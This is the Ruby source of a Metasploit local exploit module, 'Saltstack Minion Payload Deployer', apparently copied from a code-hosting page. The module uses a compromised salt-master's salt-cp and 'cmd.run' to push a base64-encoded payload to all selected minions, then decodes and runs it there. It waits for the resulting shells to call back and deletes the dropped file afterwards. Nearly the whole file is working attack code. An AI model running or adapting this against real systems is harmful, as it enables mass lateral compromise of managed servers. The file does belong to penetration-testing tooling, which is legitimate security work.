142 lines
5.2 KiB
Ruby
142 lines
5.2 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
Rank = GoodRanking
|
|
|
|
include Msf::Post::File
|
|
include Msf::Exploit::EXE
|
|
include Msf::Exploit::FileDropper
|
|
include Msf::Exploit::Local::Saltstack
|
|
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Saltstack Minion Payload Deployer',
|
|
'Description' => %q{
|
|
This exploit module uses saltstack salt to deploy a payload and run it
|
|
on all targets which have been selected (default all).
|
|
Currently only works against nix targets.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'h00die', # msf module
|
|
'c2Vlcgo'
|
|
],
|
|
'Platform' => [ 'linux', 'unix' ],
|
|
'Stance' => Msf::Exploit::Stance::Passive,
|
|
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
|
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
|
'Targets' => [[ 'Auto', {} ]],
|
|
'Privileged' => true,
|
|
'References' => [],
|
|
'DisclosureDate' => '2011-03-19', # saltstack salt original release date
|
|
'DefaultTarget' => 0,
|
|
'Passive' => true, # this allows us to get multiple shells calling home
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [CONFIG_CHANGES, ARTIFACTS_ON_DISK]
|
|
}
|
|
)
|
|
)
|
|
register_options [
|
|
OptString.new('SALT', [true, 'salt-master executable location', '']),
|
|
OptString.new('MINIONS', [true, 'Minions Target', '*']),
|
|
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
|
|
OptString.new('TargetWritableDir', [ true, 'A directory where we can write and execute files on targets', '/tmp' ]),
|
|
OptBool.new('CALCULATE', [ true, 'Calculate how many boxes will be attempted', true ]),
|
|
OptInt.new('ListenerTimeout', [ false, 'The maximum number of seconds to wait for new sessions', 60 ]),
|
|
OptInt.new('TIMEOUT', [true, 'Timeout for salt commands to run in seconds', 120])
|
|
]
|
|
end
|
|
|
|
def salt_master
|
|
return @salt if @salt
|
|
|
|
[datastore['SALT'], '/usr/bin/salt-master', '/usr/local/bin/salt-master'].each do |exec|
|
|
next unless executable?(exec)
|
|
|
|
@salt = exec
|
|
return @salt
|
|
end
|
|
@salt
|
|
end
|
|
|
|
def list_minions_printer
|
|
minions = list_minions
|
|
return if minions.nil?
|
|
|
|
tbl = Rex::Text::Table.new(
|
|
'Header' => 'Minions List',
|
|
'Indent' => 1,
|
|
'Columns' => ['Status', 'Minion Name']
|
|
)
|
|
|
|
count = 0
|
|
minions['minions'].each do |minion|
|
|
tbl << ['Accepted', minion]
|
|
count += 1
|
|
end
|
|
|
|
print_good(tbl.to_s)
|
|
|
|
# https://github.com/rapid7/metasploit-framework/pull/18626#discussion_r1434577017
|
|
print_good("#{count} minions were found in the accepted state, and will attempt to execute payload. If this isn't an expected volume (too many), ctr+c to halt execution. Pausing 10 seconds.")
|
|
Rex.sleep(10)
|
|
count
|
|
end
|
|
|
|
def check
|
|
return CheckCode::Safe('salt-master does not seem to be installed, unable to find salt-master executable') if salt_master.nil?
|
|
|
|
CheckCode::Vulnerable('salt-master executable found')
|
|
end
|
|
|
|
def exploit
|
|
# Make sure we can write our exploit and payload to the local system
|
|
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable" unless writable? datastore['WritableDir']
|
|
count = 1 # default to running if we decide not to calculate
|
|
count = list_minions_printer if datastore['CALCULATE']
|
|
fail_with Failure::NotFound, 'No exploitable minions found.' if count == 0
|
|
|
|
payload_name = rand_text_alphanumeric(5..10)
|
|
|
|
# due to a bug in older (2021) versions of salt-cp, we need to write ascii files. https://github.com/saltstack/salt/issues/59899
|
|
upload_and_chmodx "#{datastore['WritableDir']}/#{payload_name}", Rex::Text.encode_base64(generate_payload_exe)
|
|
|
|
print_status('Copying payload to minions')
|
|
cmd_exec("salt-cp '#{datastore['MINIONS']}' '#{datastore['WritableDir']}/#{payload_name}' '#{datastore['TargetWritableDir']}/#{payload_name}.b64'")
|
|
print_status('Executing payloads')
|
|
cmd_exec("salt '#{datastore['MINIONS']}' cmd.run 'base64 -d #{datastore['TargetWritableDir']}/#{payload_name}.b64 > #{datastore['TargetWritableDir']}/#{payload_name} && chmod 755 #{datastore['TargetWritableDir']}/#{payload_name} && #{datastore['TargetWritableDir']}/#{payload_name}'")
|
|
|
|
# stolen from exploit/multi/handler
|
|
stime = Time.now.to_f
|
|
timeout = datastore['ListenerTimeout'].to_i
|
|
loop do
|
|
break if timeout > 0 && (stime + timeout < Time.now.to_f)
|
|
|
|
Rex::ThreadSafe.sleep(1)
|
|
end
|
|
end
|
|
|
|
def on_new_session(_session)
|
|
super
|
|
cli.core.use('stdapi') if !cli.ext.aliases.include?('stdapi')
|
|
|
|
begin
|
|
print_warning("Deleting: #{datastore['TargetWritableDir']}/#{payload_name}")
|
|
cli.fs.file.rm("#{datastore['TargetWritableDir']}/#{payload_name}")
|
|
print_good("#{datastore['TargetWritableDir']}/#{payload_name} removed")
|
|
rescue StandardError
|
|
print_error("Unable to delete: #{datastore['TargetWritableDir']}/#{payload_name}")
|
|
end
|
|
end
|
|
|
|
end
|